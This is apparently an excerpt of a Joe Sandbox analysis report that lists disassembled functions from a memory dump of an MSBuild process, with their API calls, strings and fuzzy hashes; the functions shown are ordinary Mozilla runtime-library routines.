Instruction Fuzzy Hash: 8C318FB5A043159FD700DF14D884A9BBBE4FFD9314F01842EE89A97741EB30E909CB92

Function 6C4EFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C50D019,?,?,?,?,?,00000000,?,6C4FDA31,00100000,?), ref: 6C4EFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C50D019,?,?,?,?,?,00000000,?,6C4FDA31,00100000,?,?), ref: 6C4EFFF5
free.MOZGLUE(?,?,?,?,?,6C50D019,?,?,?,?,?,00000000,?,6C4FDA31,00100000,?), ref: 6C4F001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C50D019,?,?,?,?,?,00000000,?,6C4FDA31,00100000,?,?), ref: 6C4F002A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6a4d2c58fe261c1b0262b83ed6c94986609461c4bb5eb2542805a6c4712c49ec
Instruction ID: 325644c7aa7e98b086171a4e850992d0495d55a7f5b9a4ac4db0614ae66adb1a
Opcode Fuzzy Hash: 6a4d2c58fe261c1b0262b83ed6c94986609461c4bb5eb2542805a6c4712c49ec
Instruction Fuzzy Hash: AC21F4B2A002115FD718DE68AC94CAEB7BAEBC93243250739E425D7780EB30AD0286D1

Function 6C4CB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4CB4F5
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4CB502
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4CB542
free.MOZGLUE(?), ref: 6C4CB578

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3f1e0b6b5317bf001f2b1ab3cd41bac123ff414812b3cf72487a7cb9e7c74e0f
Instruction ID: 8cfa7166d06782425e0beb1d39ed5f8955643a446a23eafc1b07bab77fa269ee
Opcode Fuzzy Hash: 3f1e0b6b5317bf001f2b1ab3cd41bac123ff414812b3cf72487a7cb9e7c74e0f
Instruction Fuzzy Hash: D611AE34A04B41C7D721DF29C900F62B3B0FF96329F11970AE84952B12FBB1B5C58695

Function 6C4F3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4BF20E,?), ref: 6C4F3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4BF20E,00000000,?), ref: 6C4F3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C4F3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C4F3E0E

Part of subcall function 6C4ECC00: GetCurrentProcess.KERNEL32(?,?,6C4B31A7), ref: 6C4ECC0D
Part of subcall function 6C4ECC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4B31A7), ref: 6C4ECC16

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: e850779086dca70e8abcf7878e18c23e9e95663e20333c35ee19d95cc6374a80
Instruction ID: e8b0dfb6e11b8998484891b215dcce7e44b73553e0aae092c11e7195ed3378df
Opcode Fuzzy Hash: e850779086dca70e8abcf7878e18c23e9e95663e20333c35ee19d95cc6374a80
Instruction Fuzzy Hash: 4BF012715002187BD704AB54DC41DAB376DDF86624F050024FD1C57741E735BD1586FB

Function 6C502050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C50201B,?,?,?,?,?,?,?,6C501F8F,?,?), ref: 6C502064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50208E
free.MOZGLUE(?,?,?,00000000,?,6C50201B,?,?,?,?,?,?,?,6C501F8F,?,?), ref: 6C5020A3

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d1023c7b0dffcff3a1f06240c0832b5d7069c75a19a3798881c0927ef9f3dd2e
Instruction ID: b31744bcc2b99cc7f35b146a739439563ad46748e5d358d07055fa48baf705a6
Opcode Fuzzy Hash: d1023c7b0dffcff3a1f06240c0832b5d7069c75a19a3798881c0927ef9f3dd2e
Instruction Fuzzy Hash: 3DF0E9B5200B10DBC721EF16DC88B5BB7F8EF8A324F11051AE54A87711DB72A805CBDA

Function 6C5020B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5020B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C4EFBD1), ref: 6C5020C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C4EFBD1), ref: 6C5020DA
free.MOZGLUE(00000000,?,6C4EFBD1), ref: 6C5020F1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 4254ee12df67c60c7fbc145c08f71ca09f3f5aa695ccf0431b641c8beeaa0e4a
Instruction ID: 6d095d176bf310c38025cb4cbb240f1827a05c7ec7abafb341a437233804ac4d
Opcode Fuzzy Hash: 4254ee12df67c60c7fbc145c08f71ca09f3f5aa695ccf0431b641c8beeaa0e4a
Instruction Fuzzy Hash: 81E0EC31700A148BC730AF259C0864EB7F9EF86215701051AE40AC3700E775B54586DA

Function 6C5085B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5085D3

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C508725

Strings

map/set<T> too long, xrefs: 6C508720

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 4d8f95239c34a6babd9561539b5d15e24b21f23e44d9799ff8d667fd52d7f704
Instruction ID: f8910937ac04396c7e6d322f160ed9037359cc44db21baf9ad15cff4ee67a06b
Opcode Fuzzy Hash: 4d8f95239c34a6babd9561539b5d15e24b21f23e44d9799ff8d667fd52d7f704
Instruction Fuzzy Hash: 84515474600A41CFD701CF18C984A5ABBF1BF9A318F1AC18AD8599BB52C335E885CF92

Function 6C4BBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4BBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4BBE8F

Strings

0, xrefs: 6C4BBE5B

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 49d835337075f0127fefff6e840c0d8f573451e30458a6f41c115bb4532b98a4
Instruction ID: eebfc5838c4eb44facbbe0ea9e3b1a843b868274712050c0e7e9e0b65809068f
Opcode Fuzzy Hash: 49d835337075f0127fefff6e840c0d8f573451e30458a6f41c115bb4532b98a4
Instruction Fuzzy Hash: 1E418E71909745DFC711CF38C481E9BB7E4AF8A348F008A1DF985A7621E730D9598BA2

Function 6C4F3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4F3D19
mozalloc_abort.MOZGLUE(?), ref: 6C4F3D6C

Strings

d, xrefs: 6C4F3D58

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e011b6b50d39286a6cad3d25b9390bfd7038332e728896e83c0e058281e7116a
Instruction ID: 05f4e0e290577aa5628b01714613b5bfeeae88c234decf06cfeacde4528db37d
Opcode Fuzzy Hash: e011b6b50d39286a6cad3d25b9390bfd7038332e728896e83c0e058281e7116a
Instruction Fuzzy Hash: 9A110431E0468897EB01CB69CC14DEDB7B5EFC6318F459218DC5897702FB30A985C3A1

Function 6C4C4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4C44B2,6C53E21C,6C53F7F8), ref: 6C4C473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4C474A

Strings

GetNtLoaderAPI, xrefs: 6C4C4744

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 28e7c62e87ccd759ff786832aa9fa1fbfee0085531dc82fb7280f65bee9192a3
Instruction ID: 9098d916f387f681f4a8fd9b858167585ae03416e0e552a08ca1603ca6e8245f
Opcode Fuzzy Hash: 28e7c62e87ccd759ff786832aa9fa1fbfee0085531dc82fb7280f65bee9192a3
Instruction Fuzzy Hash: 1901D6757012148FCF04AFA58C44E2977F8EB9B356B064069EE09C7310EB70DC018F96

Function 6C516DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C516E22
__Init_thread_footer.LIBCMT ref: 6C516E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C516E1D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d91b25a4928d5966a683c872b5e8fbb6af109822a897b71273cb59507f32ffc2
Instruction ID: 87e919ece26bca97d2dc4fed9126af4ab1daa19c2a086ff39036d503a8251325
Opcode Fuzzy Hash: d91b25a4928d5966a683c872b5e8fbb6af109822a897b71273cb59507f32ffc2
Instruction Fuzzy Hash: 3BF024313083408BEA20DBA8CC54E963B71D703218F0603A6C40D86F71FB20F906CA97

Function 6C4C9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4C9EEF

Strings

Infinity, xrefs: 6C4C9EB7
NaN, xrefs: 6C4C9EC1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 9658f8b9b9fed00d1b4176845c42cc740779d70eb5070bbf75991768b5de5013
Instruction ID: 48b64cb4716b184cb1730ff7da575c2fd6d195e8105299b844617c2dc4571364
Opcode Fuzzy Hash: 9658f8b9b9fed00d1b4176845c42cc740779d70eb5070bbf75991768b5de5013
Instruction Fuzzy Hash: F8F0A470700241CADB22DF58EC4DF9037B1A71730DF221F99C50C0AB90F776A546CA8A

Function 6C4C6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KOl,?,6C4F4B30,80000000,?,6C4F4AB7,?,6C4B43CF,?,6C4B42D2), ref: 6C4C6C42

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

moz_xmalloc.MOZGLUE(0KOl,?,6C4F4B30,80000000,?,6C4F4AB7,?,6C4B43CF,?,6C4B42D2), ref: 6C4C6C58

Strings

0KOl, xrefs: 6C4C6C33, 6C4C6C41, 6C4C6C57

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KOl
API String ID: 1967447596-2655337253
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: b61cce24c81e9d1fa97b00040e38a1f64fc719474f1d49d0f2e9ba2dcb1cc72b
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 8DE086F9B105054A9B08D979AC0EEBA71C88B142E9704CA39EC22D6BECFA55E5518193

Function 6C515900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C5351C8), ref: 6C51591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C51592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C515915

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 451d2546792639c6b748c4fd77f1782a8060ffb75a475b1ddd5fc692d85405ac
Instruction ID: af2e15b23dd173c065d3b0cf5563e7a65c7b1bd975517373d2033da3f283b3ea
Opcode Fuzzy Hash: 451d2546792639c6b748c4fd77f1782a8060ffb75a475b1ddd5fc692d85405ac
Instruction Fuzzy Hash: C2E09230208650A7DB115A788D0CB457BF49B12729F514544E5AD83FD1E3B55840C396

Function 6C4C3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C53F860), ref: 6C4C385C
ReleaseSRWLockExclusive.KERNEL32(6C53F860,?), ref: 6C4C3871

Strings

,Sl, xrefs: 6C4C387A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Sl
API String ID: 17069307-908928139
Opcode ID: d54ba51339ab4fca5a265d6bf44de21a8e3f6b4c2230a7c037d075a889d0a71a
Instruction ID: 6e3c88f4979252f9f1bd2ed0c73f878467a78a4fc350b86ced88e02cbea77472
Opcode Fuzzy Hash: d54ba51339ab4fca5a265d6bf44de21a8e3f6b4c2230a7c037d075a889d0a71a
Instruction Fuzzy Hash: 67E0DF35A01B28978722EF968C06ECABBF8EE036913065649F90D17B20E771944086EE

Function 6C4CBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4CBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4CBEF5

Strings

cryptbase.dll, xrefs: 6C4CBEF0

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f66166e3a45570098452f3d2fe8e4d3abec5c02d912fdbd129fb927f1f6f01ed
Instruction ID: fead13ccba3f0d8a818397c0d90fc497ff9a14b0bd0e1dc1cb9475203aa284f4
Opcode Fuzzy Hash: f66166e3a45570098452f3d2fe8e4d3abec5c02d912fdbd129fb927f1f6f01ed
Instruction Fuzzy Hash: 2CD0C736284508E6DB50FA648D05F153B789701715F10C021F75994AA1D7B19455DB55

Function 6C4B50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4B4E9C,?,?,?,?,?), ref: 6C4B510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4B4E9C,?,?,?,?,?), ref: 6C4B5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C4B5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4B4E9C), ref: 6C4B5234

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: fc4a54006dfec7562eef89f6e9ff020b281fe9aa284d462d285823a715f60556
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: C6918D75905616CFCB14CF08C490E5AFBA1BF99318B288588DC58AB715D772FC42CBE0

Function 6C4F08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E7DC), ref: 6C4F0918
LeaveCriticalSection.KERNEL32(6C53E7DC), ref: 6C4F09A6
EnterCriticalSection.KERNEL32(6C53E7DC,?,00000000), ref: 6C4F09F3
LeaveCriticalSection.KERNEL32(6C53E7DC), ref: 6C4F0ACB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7af38cce8570d40650f36cbd18f4299842bbac4bf3efaedde10d92d9e2c87ade
Instruction ID: 101b2929aa600110290d7fb193a0c7d87b9a632b18b773af05cd6dbcd32f811e
Opcode Fuzzy Hash: 7af38cce8570d40650f36cbd18f4299842bbac4bf3efaedde10d92d9e2c87ade
Instruction Fuzzy Hash: AE512732B05690CBEB18DA159C04E6673E1EBC1B25726812ADC7997F80FA70AC0387D4

Function 6C5159C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C4EE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C515A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C4EE56A,?,|UrlbarCSSSpan), ref: 6C515A5C
free.MOZGLUE(?), ref: 6C515A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C515B9D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 1103ad1df4e591937f8dcbc401f51411fd7c80c6975ea38639d7e3f742c7e0de
Instruction ID: ddf524ed5571f6b068e278ceccfaccb207c4ac59aa25e907707e3a62e1995717
